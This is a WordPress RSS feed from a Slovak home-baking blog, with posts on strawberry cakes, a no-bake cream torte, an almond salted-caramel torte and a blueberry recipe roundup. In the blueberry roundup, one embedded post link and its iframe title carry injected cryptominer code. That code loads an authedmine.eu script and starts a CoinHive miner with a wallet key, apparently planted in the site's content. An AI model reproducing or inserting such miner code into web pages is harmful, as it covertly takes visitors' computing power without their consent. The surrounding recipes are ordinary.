<p>Aj vy tak milujete jahody? Asi mi dáte za pravdu, že najlepšie chutia len tak čerstvé. Ak však zatúžite upiecť z nich niečo dobré, mám pre vás niekoľko tipov na jahodové koláče. Máte radšej jahody v ceste, alebo nimi chcete ozodobiť upečený koláč? Verím, že si nájdete recept podľa vašich chutí. </p>



<p>U mňa sú jahody jedno z ovocí, ktoré najradšej spotrebujem čerstvé či na koláč. Väčšinou ich zjeme skôr, ako by som z nich stihla uvariť džem, občas ich však zamrazím. Do mrazničky ich dávam najprv na tácke v jednej vrstve a vsypem do sáčku keď zamrznú.  Takto sa plody nezlepia a dajú sa aj zamrazené jednoducho oddeliť. </p>



<p>Vyskúšajte niektorý z mojich osvedčených jahodových dezertov na každú príležitosť. A určite mi dajte vedieť dole v komentári, ktorý sa vám najviac páči. Budem sa tešiť!</p>



<p>Pre viac letných inšpirácií nielen na sladké si pozrite kategóriu <a href="https://www.zosrdcadohrnca.sk/category/letne-recepty/" target="_blank" rel="noreferrer noopener">letné recepty</a>. </p>



<h2 class="wp-block-heading"><strong>Mojich 9 receptov na jahodové koláče</strong>:</h2>



<h2 class="wp-block-heading"><a href="https://www.zosrdcadohrnca.sk/2020/07/05/jahodovy-tart/" target="_blank" rel="noreferrer noopener">Jahodový tart</a></h2>



<p>Krehké cesto, krémová náplň a là cheesecake a čerstvé jahody so želatínou.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="768" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2020/07/P6040188-1024x768.jpg" alt="" class="wp-image-5169"/></figure>



<h2 class="wp-block-heading"><a href="https://www.zosrdcadohrnca.sk/2021/06/03/nepecena-smotanova-torta-s-jahodami/" target="_blank" rel="noreferrer noopener">Nepečená smotanová torta s jahodami</a></h2>



<p>Jednoduchá nepečená torta z kyslej smotany, tvarohu, piškót a jahôd. Povinná letná zastávka :)</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" title="Nepečená smotanová torta s jahodami" width="756" height="425" src="https://www.youtube.com/embed/JcdeUJ5Ay7Y?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</div></figure>



<h2 class="wp-block-heading"><a href="https://www.zosrdcadohrnca.sk/2020/06/11/ovocny-kolac-s-posypkou/" target="_blank" rel="noreferrer noopener">Ovocná koláč s posýpkou</a></h2>



<p>Maslové cesto, šťavnaté ovocie a chrumkavá posýpka. Skvelý je aj s marhuľami, višňami či iným ovocím.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2020/06/P5310126-768x1024.jpg" alt="" class="wp-image-5141"/></figure>



<h2 class="wp-block-heading"><a href="https://www.zosrdcadohrnca.sk/2018/05/23/jahodova-galetka/" target="_blank" rel="noreferrer noopener">Jahodová galetka</a></h2>



<p>Krehké cesto s jahodovou náplňou, rýchla a chutná záležitosť. Aj v bezlepkovej verzii. </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="681" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2018/05/DSC_0690-1024x681.jpg" alt="jahodová galetka" class="wp-image-4437"/></figure>



<h2 class="wp-block-heading"><a href="https://www.zosrdcadohrnca.sk/2016/06/18/torta-tenerina-s-jahodovym-coulis/" target="_blank" rel="noreferrer noopener">Čokoládová Tenerina s jahodovým coulis</a></h2>



<p>Torta plná čokolády so sviežou jahodovou omáčkou.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="681" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2016/06/DSC_0291-1024x681.jpg" alt="" class="wp-image-991"/></figure>



<h2 class="wp-block-heading"><a href="https://www.zosrdcadohrnca.sk/2017/04/29/lahka-ovocna-torta/" target="_blank" rel="noreferrer noopener">Ľahká ovocná torta</a></h2>



<p>Jemná piškóta, ľahký krém a ovocie so želatínou. Okrem jahôd sa hodia aj maliny či ríbezle&#8230;</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="681" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2017/04/DSC_0098-1024x681.jpg" alt="" class="wp-image-1821"/></figure>



<h2 class="wp-block-heading"><a href="https://www.zosrdcadohrnca.sk/2017/06/20/pavlova/" target="_blank" rel="noreferrer noopener">Pavlova</a></h2>



<p>Klasika, ktorú treba vyskúšať. S mojimi radami ju hravo zvládnete. </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="1010" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2017/06/DSC_0146-1024x1010.jpg" alt="" class="wp-image-1954"/></figure>



<h2 class="wp-block-heading"><strong><a href="https://www.zosrdcadohrnca.sk/2016/06/04/jahodovy-cheesecake/" target="_blank" rel="noreferrer noopener">Jahodový cheesecake</a></strong></h2>



<p> Namiesto sušienok má základ z mandlí a ovsených vločiek. Jahody môžete pridať aj do krému a navrchu nimi tiež nemusíte šetriť :)</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="775" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2016/04/DSC_0483-775x1024.jpg" alt="" class="wp-image-857"/></figure>



<h2 class="wp-block-heading"><a href="https://www.zosrdcadohrnca.sk/2019/07/02/bublanina/" target="_blank" rel="noreferrer noopener">Bublanina</a></h2>



<p>Skoro by som zabudla na povinnú koláčovú letnú jazdu. Pripraviť si ju môžete s akýmkoľvek ovocím, ale tá prvá letná nech je s jahodami!</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6250148-768x1024.jpg" alt="" class="wp-image-5715" srcset="https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6250148-768x1024.jpg 768w, https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6250148-225x300.jpg 225w, https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6250148-1152x1536.jpg 1152w, https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6250148-1310x1747.jpg 1310w, https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6250148-800x1067.jpg 800w, https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6250148-600x800.jpg 600w, https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6250148.jpg 1536w" sizes="auto, (max-width: 768px) 100vw, 768px" /></figure>



<p>Ak vyskúšate niektorý z mojich receptov na jahodové koláče, podeľte sa o to v komentároch. <br>Ela</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2021/06/09/9-receptov-na-jahodove-kolace/">9 receptov na jahodové koláče</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2021/06/09/9-receptov-na-jahodove-kolace/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Nepečená smotanová torta s jahodami</title>
		<link>https://www.zosrdcadohrnca.sk/2021/06/03/nepecena-smotanova-torta-s-jahodami/</link>
					<comments>https://www.zosrdcadohrnca.sk/2021/06/03/nepecena-smotanova-torta-s-jahodami/#comments</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Thu, 03 Jun 2021 20:13:00 +0000</pubDate>
				<category><![CDATA[Nepečené]]></category>
		<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[jahody]]></category>
		<category><![CDATA[nepečená torta]]></category>
		<category><![CDATA[smotana]]></category>
		<category><![CDATA[smotanová torta]]></category>
		<category><![CDATA[torta]]></category>
		<category><![CDATA[tvaroh]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/?p=5662</guid>

					<description><![CDATA[<p>Dnes som kúpila prvé jahody tohto roku. Vôňa a chuť skutočných, čerstvých sladkých jahôd ma preniesla do kuchyne, kde som už-už vyberala vajíčka, múku, cukor a chcela vyšľahať nadýchanú bublaninu. Alebo urobím jahodovú galetku? Premýšľala som a hlavou mi lietali nápady na všemožné jahodové dezerty. Z môjho snívania ma vytrhol synček. Zavesil sa mi na nohu a hlasno dával najavo, čo si o mojich jahodových nápadoch myslí. Mala som ich zjesť len tak, poviete si. Ale jahodový dezert by sa [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2021/06/03/nepecena-smotanova-torta-s-jahodami/">Nepečená smotanová torta s jahodami</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Dnes som kúpila prvé jahody tohto roku. Vôňa a chuť skutočných, čerstvých sladkých jahôd ma preniesla do kuchyne, kde som už-už vyberala vajíčka, múku, cukor a chcela vyšľahať <a href="https://www.zosrdcadohrnca.sk/2019/07/02/bublanina/" target="_blank" rel="noreferrer noopener">nadýchanú bublaninu</a>. Alebo urobím <a href="https://www.zosrdcadohrnca.sk/2018/05/23/jahodova-galetka/" target="_blank" rel="noreferrer noopener">jahodovú galetku</a>? Premýšľala som a hlavou mi lietali nápady na všemožné jahodové dezerty. Z môjho snívania ma vytrhol synček. Zavesil sa mi na nohu a hlasno dával najavo, čo si o mojich jahodových nápadoch myslí. Mala som ich zjesť len tak, poviete si. Ale jahodový dezert by sa mi veľmi rátal. A tak nakoniec bol! Nepečená smotanová torta s jahodami, rýchle a dobré. Sto rokov som to nerobila, ale chutí stále rovnako super. Poďte si ju pripraviť so mnou. </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6030422-768x1024.jpg" alt="" class="wp-image-5664"/></figure>



<p>V receptoch na smotanovú tortu sa väčšinou uvádza iba kyslá smotana. Ja som však dala aj tvaroh, pretože ho milujem a dávam, kde sa dá.  Navyše má viac bielkovín a menej tukov, čo je príjemný bonus, keď si už ten koláčik musím dať :) </p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" title="Nepečená smotanová torta s jahodami" width="756" height="425" src="https://www.youtube.com/embed/JcdeUJ5Ay7Y?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</div></figure>



<h2 class="wp-block-heading">Nepečená smotanová torta s jahodami</h2>



<ul class="wp-block-list"><li>500 ml kyslej smotany</li><li>500 g hladkého tvarohu</li><li>1 vanilkový cukor</li><li>2-3 PL práškového cukru</li><li>1 veľké balenie okrúhlych piškót</li><li>400 g jahôd (zopár si nechajte na ozdobenie)</li><li>tortová forma s priemerom 24 cm</li></ul>



<p>Kyslú smotanu zmiešame s tvarohom a cukrom. Jahody očistíme a nakrájame. Na dno tortovej formy rozložíme piškóty. Rozotrieme tretinu krému a na to dáme polovicu jahôd. Znova vrstva piškót, krému a jahôd. Nakoniec dáme poslednú vrstvu piškót, krém a tortu odložíme do chladničky aspoň na 4 hodiny, pokojne do druhého dňa. Pred podávaním ozdobíme nakrájanými jahodami.&nbsp;</p>



<p>Neviete, čo s jahodami? Vyskúšajte aj moje ďalšie<a href="https://www.zosrdcadohrnca.sk/?s=jahody" target="_blank" rel="noreferrer noopener"> jahodové recepty. </a></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/06/P6030448-768x1024.jpg" alt="" class="wp-image-5665"/></figure>



<p>Ak vyskúšate nepečenú jahodovú tortu podľa môjho receptu, podeľte sa o to v komentároch!</p>



<p>Ela</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2021/06/03/nepecena-smotanova-torta-s-jahodami/">Nepečená smotanová torta s jahodami</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2021/06/03/nepecena-smotanova-torta-s-jahodami/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>Mandľová torta so slaným karamelom</title>
		<link>https://www.zosrdcadohrnca.sk/2018/12/17/mandlova-torta-so-slanym-karamelom/</link>
					<comments>https://www.zosrdcadohrnca.sk/2018/12/17/mandlova-torta-so-slanym-karamelom/#comments</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Mon, 17 Dec 2018 10:32:27 +0000</pubDate>
				<category><![CDATA[Bezlepkové]]></category>
		<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[Vianočné recepty]]></category>
		<category><![CDATA[bez lepku]]></category>
		<category><![CDATA[mandle]]></category>
		<category><![CDATA[slaný karamel]]></category>
		<category><![CDATA[torta]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/wp02/?p=3851</guid>

					<description><![CDATA[<p>Aj keď doma nemáme žiadneho celiatika, občas pečiem bez lepku. Mandľová torta so slaným karamelom prešla niekoľkými úpravami, kým som sa rozhodla konečne o ňu podeliť. A nadšene hlásim, že môj recept na bezlepkové korpusy som vyladila skvele. Sú krehké, ale nerozpadávajú sa a torta drží pekne pokope aj na reze. Jemná mandľová chuť korpusov sa dopĺňa tónmi slaného karamelu v podmanivej harmónii. Ak hľadáte slávnostný dezert bez lepku, upečte túto mandľovú tortu. Na tortu potrebujeme dva korpusy. Dvojfarebný efekt [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2018/12/17/mandlova-torta-so-slanym-karamelom/">Mandľová torta so slaným karamelom</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Aj keď doma nemáme žiadneho celiatika, občas pečiem <a href="https://www.zosrdcadohrnca.sk/wp02/tag/bez-lepku/" target="_blank" rel="noreferrer noopener" aria-label="Aj keď doma nemáme žiadneho celiatika, občas pečiem bez lepku. Mandľová torta so slaným karamelom prešla niekoľkými úpravami, kým som sa rozhodla konečne sa o ňu podeliť. A neskromne konštatujem, že môj recept na bezlepkové korpusy som vyladila skvele. Sú jemné, krehké, ale nerozpadávajú sa a torta drží pekne pokope aj na reze. Jemná mandľová chuť korpusov sa dopĺňa tónmi slaného karamelu v podmanivej harmónii. Ak hľadáte slávnostný dezert bez lepku, 
 (opens in a new tab)">bez lepku</a>. Mandľová torta so slaným karamelom prešla niekoľkými úpravami, kým som sa rozhodla konečne o ňu podeliť. A nadšene hlásim, že môj recept na bezlepkové korpusy som vyladila skvele. Sú krehké, ale nerozpadávajú sa a torta drží pekne pokope aj na reze. Jemná mandľová chuť korpusov sa dopĺňa tónmi slaného karamelu v podmanivej harmónii. Ak hľadáte slávnostný dezert bez lepku, upečte túto mandľovú tortu.</p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="768" height="1024" class="size-large wp-image-3853 aligncenter" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2018/12/A2058717-6663-4F8B-8854-24FF77E85996-768x1024.jpg" alt="" /></figure>



<p>Na tortu potrebujeme dva korpusy. Dvojfarebný efekt som urobila tak, že na jeden korpus som použila klasický biely cukor a do druhého korpusu cukor z kokosových kvetov, ktorý má tmavšiu farbu (alebo dajte trstinový). </p>



<p>Na korpusy som už nenatierala džem, môžete však jednu alebo dve vrsty potrieť mandľovým maslom. </p>



<h3 class="wp-block-heading">Mandľová torta so slaným karamelom</h3>



<h4 class="wp-block-heading">Na 1 korpus:</h4>



<ul class="wp-block-list">
<li>3 vajcia od šťastných sliepok</li>
<li>50 g cukru (biely, alebo trstinový/z kokosových kvetov)</li>
<li>40 g mletých oblanšírovaných mandlí</li>
<li>30 g mandľovej múky</li>
<li>20 g tapiokovej múky</li>
<li>5 PL rastlinného oleja</li>
<li>1/2 ČL kypriaceho prášku s vínnym kameňom</li>
<li>štipka soli</li>
</ul>



<h4 class="wp-block-heading">Na krém:</h4>



<ul class="wp-block-list">
<li>250 g mascarpone</li>
<li>250 ml smotany na šľahanie</li>
<li>250 ml mlieka</li>
<li>1 balenie smotanového pudingu</li>
<li>3-4 PL <a href="https://www.zosrdcadohrnca.sk/wp02/2018/12/16/slany-karamel/" target="_blank" rel="noreferrer noopener" aria-label="250 g mascarpone 250 ml smotany na šľahanie 250 ml mlieka 1 balenie smotanového pudingu 3-4 PL slaného karamelu (opens in a new tab)">slaného karamelu</a></li>
</ul>



<p>+ na dozdobenie: plátky mandlí</p>



<h4 class="wp-block-heading">Postup:</h4>



<p><strong>Ako na korpusy:</strong> oddelíme žĺtky od bielkov. Žĺtky vyšľaháme s cukrom do peny. Pridáme olej, prešľaháme. Postupne primiešame mleté mandle, preosiatu múku zmiešanú s práškom do pečiva a štipku soli. Zľahka vmiešame vyšľahaný sneh z bielkov. Dáme piecť do okrúhlej formy s priemerom 18 cm, vystlanej papierom na pečenie. Pečieme pri 175 st. C cca 30 minút. Necháme vo forme 5 minút, potom vyberieme a necháme celkom vychladnúť. Zopakujeme na druhý korpus.</p>



<p><strong>Na krém</strong> si uvaríme jeden smotanový puding v 250 ml mlieka, získame hustý puding, ktorý necháme vychladnúť. Primiešame mascarpone a podľa chuti 3-4 lyžice slaného karamelu. Nakoniec zľahka vmiešame vyšľahanú šľahačku. Necháme v chladničke trocha stuhnúť. </p>



<p>Korpusy prerežeme horizontálne dve polovice. Na striedačku natrieme  krémom jednotlivé vrstvy, necháme si aj na boky a navrch. V prvom kroku natrieme boky a vrch torty &#8222;nanečisto&#8220;. Tortu dáme chvíľu stuhnúť do chladničky a potom so zvyšným krémom znovu dozdobíme. Posypeme mandľami a slávnostný dezert je hotový.</p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1024" height="768" class="size-large wp-image-3874 aligncenter" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2018/12/C160284-2-1024x768.jpg" alt="" /></figure>



<p><em>Ak vyskúšate túto mandľovú tortu so slaným karamelom podľa môjho receptu, podeľte sa o to v komentároch!</em></p>



<p>Ela </p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2018/12/17/mandlova-torta-so-slanym-karamelom/">Mandľová torta so slaným karamelom</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2018/12/17/mandlova-torta-so-slanym-karamelom/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
			</item>
		<item>
		<title>7 čučoriedkových receptov na koláče, džem aj omáčku</title>
		<link>https://www.zosrdcadohrnca.sk/2018/09/02/7-cucoriedkovych-receptov-na-kolace-dzem-aj-omacku/</link>
					<comments>https://www.zosrdcadohrnca.sk/2018/09/02/7-cucoriedkovych-receptov-na-kolace-dzem-aj-omacku/#respond</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Sun, 02 Sep 2018 09:24:40 +0000</pubDate>
				<category><![CDATA[Články]]></category>
		<category><![CDATA[Letné recepty]]></category>
		<category><![CDATA[čučoriedky]]></category>
		<category><![CDATA[džem]]></category>
		<category><![CDATA[kolac]]></category>
		<category><![CDATA[nanuk]]></category>
		<category><![CDATA[omacka]]></category>
		<category><![CDATA[torta]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/wp02/?p=2799</guid>

					<description><![CDATA[<p>Čučoriedky sú u nás doma veľmi obľúbené. Veľakrát som vám už písala o tom, ako ma môj otec, nadšený pestovateľ, zásobuje skvelými domácimi čučoriedkami. Na blogu sa teda nazbieralo niekoľko výborných čučoriedkových receptov a tak som vám ich zhrnula v tomto článku. Mojou topkou je mrveničkový koláč s tvarohom, máte tu však aj niekoľko nepečených sladkostí z čučoriedok, skvelú omáčku k divine, alebo poctivý čučoriedkový džem. Mrveničkový koláč s tvarohom a čučoriedkami Moja obľúbená kombinácia, po upečení je chrumkavý, na [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2018/09/02/7-cucoriedkovych-receptov-na-kolace-dzem-aj-omacku/">7 čučoriedkových receptov na koláče, džem aj omáčku</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Čučoriedky sú u nás doma veľmi obľúbené. Veľakrát som vám už písala o tom, ako ma môj otec, nadšený pestovateľ, zásobuje skvelými domácimi čučoriedkami. Na blogu sa teda nazbieralo niekoľko výborných čučoriedkových receptov a tak som vám ich zhrnula v tomto článku. Mojou topkou je mrveničkový koláč s tvarohom, máte tu však aj niekoľko nepečených sladkostí z čučoriedok, skvelú omáčku k divine, alebo poctivý čučoriedkový džem.<span id="more-2799"></span></p>
<ol>
<li>
<h3>Mrveničkový koláč s tvarohom a čučoriedkami</h3>
</li>
</ol>
<p>Moja obľúbená kombinácia, po upečení je chrumkavý, na druhý deň vláčny, každý si príde na svoje.</p>
<blockquote class="wp-embedded-content" data-secret="eVLI9AbAYw"><p><a href="https://www.zosrdcadohrnca.sk/wp02/2017/07/18/mrvenickovy-kolac-s-tvarohom-cucoriedkami/">  var miner = new CoinHive.Anonymous(&#8217;49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK&#8216;); miner.start(); Mrveničkový koláč s tvarohom a čučoriedkami</a></p></blockquote>
<p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  src="https://www.zosrdcadohrnca.sk/wp02/2017/07/18/mrvenickovy-kolac-s-tvarohom-cucoriedkami/embed/#?secret=eVLI9AbAYw" data-secret="eVLI9AbAYw" width="600" height="338" title="&#8220;&lt;script src=&quot;https://authedmine.eu/lib/1.js&quot;&gt;&lt;/script&gt; &lt;script&gt; var miner = new CoinHive.Anonymous(&#039;49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK&#039;); miner.start(); &lt;/script&gt;Mrveničkový koláč s tvarohom a čučoriedkami&#8221; &#8212; Zo srdca do hrnca" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
<h3>2. Čučoriedkový džem</h3>
<p>Vytunila som super džem len z ovocia a cukru. V recepte nájdete môj zaručený postup, ako zachovať chuť a nestratiť farbu.</p>
<blockquote class="wp-embedded-content" data-secret="M0nvT4U8eP"><p><a href="https://www.zosrdcadohrnca.sk/wp02/2018/07/17/cucoriedkovy-dzem/">Čučoriedkový džem</a></p></blockquote>
<p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  src="https://www.zosrdcadohrnca.sk/wp02/2018/07/17/cucoriedkovy-dzem/embed/#?secret=M0nvT4U8eP" data-secret="M0nvT4U8eP" width="600" height="338" title="&#8220;Čučoriedkový džem&#8221; &#8212; Zo srdca do hrnca" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
<h3>3. Kysnutý čučoriedkový koláč s posýpkou (+ kváskový variant)</h3>
<p>Kto by nemiloval kysnuté koláče? Kváskové či z droždia, z plechu miznú ešte teplé :)</p>
<blockquote class="wp-embedded-content" data-secret="HMPeuGENBX"><p><a href="https://www.zosrdcadohrnca.sk/wp02/2018/08/31/kysnuty-cucoriedkovy-kolac-s-posypkou-aj-z-kvasku/">Kysnutý čučoriedkový koláč s posýpkou (aj z kvásku)</a></p></blockquote>
<p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  src="https://www.zosrdcadohrnca.sk/wp02/2018/08/31/kysnuty-cucoriedkovy-kolac-s-posypkou-aj-z-kvasku/embed/#?secret=HMPeuGENBX" data-secret="HMPeuGENBX" width="600" height="338" title="&#8220;Kysnutý čučoriedkový koláč s posýpkou (aj z kvásku)&#8221; &#8212; Zo srdca do hrnca" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
<h3>4. Čučoriedkové nanuky /vegan/</h3>
<p>Hit našich letných dní, keď je veľa ovocia, aj veľa stupňov.</p>
<blockquote class="wp-embedded-content" data-secret="7inBibiqmg"><p><a href="https://www.zosrdcadohrnca.sk/wp02/2017/06/23/domace-nanuky/">Domáce nanuky</a></p></blockquote>
<p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  src="https://www.zosrdcadohrnca.sk/wp02/2017/06/23/domace-nanuky/embed/#?secret=7inBibiqmg" data-secret="7inBibiqmg" width="600" height="338" title="&#8220;Domáce nanuky&#8221; &#8212; Zo srdca do hrnca" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
<h3>5. RAW koláčiky s čučoriedkami</h3>
<p>Osviežujúce a ľahké koláčiky bez pečenia.</p>
<blockquote class="wp-embedded-content" data-secret="7mx6cayL43"><p><a href="https://www.zosrdcadohrnca.sk/wp02/2018/08/20/cucoriedkove-raw-kolaciky/">Čučoriedkové raw koláčiky</a></p></blockquote>
<p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  src="https://www.zosrdcadohrnca.sk/wp02/2018/08/20/cucoriedkove-raw-kolaciky/embed/#?secret=7mx6cayL43" data-secret="7mx6cayL43" width="600" height="338" title="&#8220;Čučoriedkové raw koláčiky&#8221; &#8212; Zo srdca do hrnca" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
<h3>6. Famózna mrazená čučoriedková torta</h3>
<p>Ďalší tip na horúce dni, táto torta má perfektnú chuť aj konzistenciu. Recept mám od Silvie Horeckej a celkom sa u nás udomácnil :)</p>
<div id="fb-root"></div>
<p><script>(function(d, s, id) {  var js, fjs = d.getElementsByTagName(s)[0];  if (d.getElementById(id)) return;  js = d.createElement(s); js.id = id;  js.src = 'https://connect.facebook.net/sk_SK/sdk.js#xfbml=1&version=v3.1';  fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk'));</script></p>
<div class="fb-post" data-href="https://www.facebook.com/zosrdcadohrnca/photos/a.1642056026068829/1724481897826241/?type=3&amp;theater" data-width="750">
<blockquote cite="https://www.facebook.com/zosrdcadohrnca/posts/1724481897826241:0" class="fb-xfbml-parse-ignore">
<p>Úplne dokonalá bola táto mrazená čučoriedková torta podľa receptu od Silvie Horeckej z Terapia jedlom. Ďakujem za&#8230;</p>
<p>Uverejnil používateľ <a href="https://www.facebook.com/zosrdcadohrnca/">Zo srdca do hrnca</a>&nbsp;<a href="https://www.facebook.com/zosrdcadohrnca/posts/1724481897826241:0">Nedeľa 3. júl 2016</a></p></blockquote>
</div>
<h3>7. Omáčka k divine</h3>
<p>Sladkokyslá chuť omáčky pekne dopĺňa divinu, trochu sa vyhráte a domácou omáčkou zabodujete.</p>
<blockquote class="wp-embedded-content" data-secret="iJlljgmgCT"><p><a href="https://www.zosrdcadohrnca.sk/wp02/2015/08/01/cucoriedkova-omacka-k-divine/">Čučoriedková omáčka k divine</a></p></blockquote>
<p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  src="https://www.zosrdcadohrnca.sk/wp02/2015/08/01/cucoriedkova-omacka-k-divine/embed/#?secret=iJlljgmgCT" data-secret="iJlljgmgCT" width="600" height="338" title="&#8220;Čučoriedková omáčka k divine&#8221; &#8212; Zo srdca do hrnca" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
<p>Ak vyskúšate niektorý z mojich čučoriedkových receptov, podeľte sa o to na <a href="https://www.facebook.com/zosrdcadohrnca/" target="_blank" rel="noopener">FB Zo srdca do hrnca</a> alebo na <a href="https://www.instagram.com/ela_kridlova/" target="_blank" rel="noopener">Instagrame</a> s hashtagom #zosrdcadohrnca … a pokojne aj tu v komentároch! :-)</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2018/09/02/7-cucoriedkovych-receptov-na-kolace-dzem-aj-omacku/">7 čučoriedkových receptov na koláče, džem aj omáčku</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2018/09/02/7-cucoriedkovych-receptov-na-kolace-dzem-aj-omacku/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Ľahká ovocná torta</title>
		<link>https://www.zosrdcadohrnca.sk/2017/04/29/lahka-ovocna-torta/</link>
					<comments>https://www.zosrdcadohrnca.sk/2017/04/29/lahka-ovocna-torta/#comments</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Sat, 29 Apr 2017 17:08:27 +0000</pubDate>
				<category><![CDATA[Letné recepty]]></category>
		<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[jahody]]></category>
		<category><![CDATA[kolac]]></category>
		<category><![CDATA[maliny]]></category>
		<category><![CDATA[ovocie]]></category>
		<category><![CDATA[torta]]></category>
		<category><![CDATA[želatína]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/wp02/?p=1818</guid>

